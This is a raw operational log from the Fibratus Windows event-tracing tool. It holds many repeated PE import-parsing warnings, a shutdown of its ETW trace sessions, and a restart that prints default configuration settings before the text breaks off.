+time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:33:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:33:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:33:41+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:33:41+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:33:42+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:38:00+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:38:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:38:00+01:00 level=info msg=bootstrapping with pid 18312. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:38:00+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false] eventlog=>[ verbose=>false enabled=>true]] + api ............................ [ transport=>localhost:8080 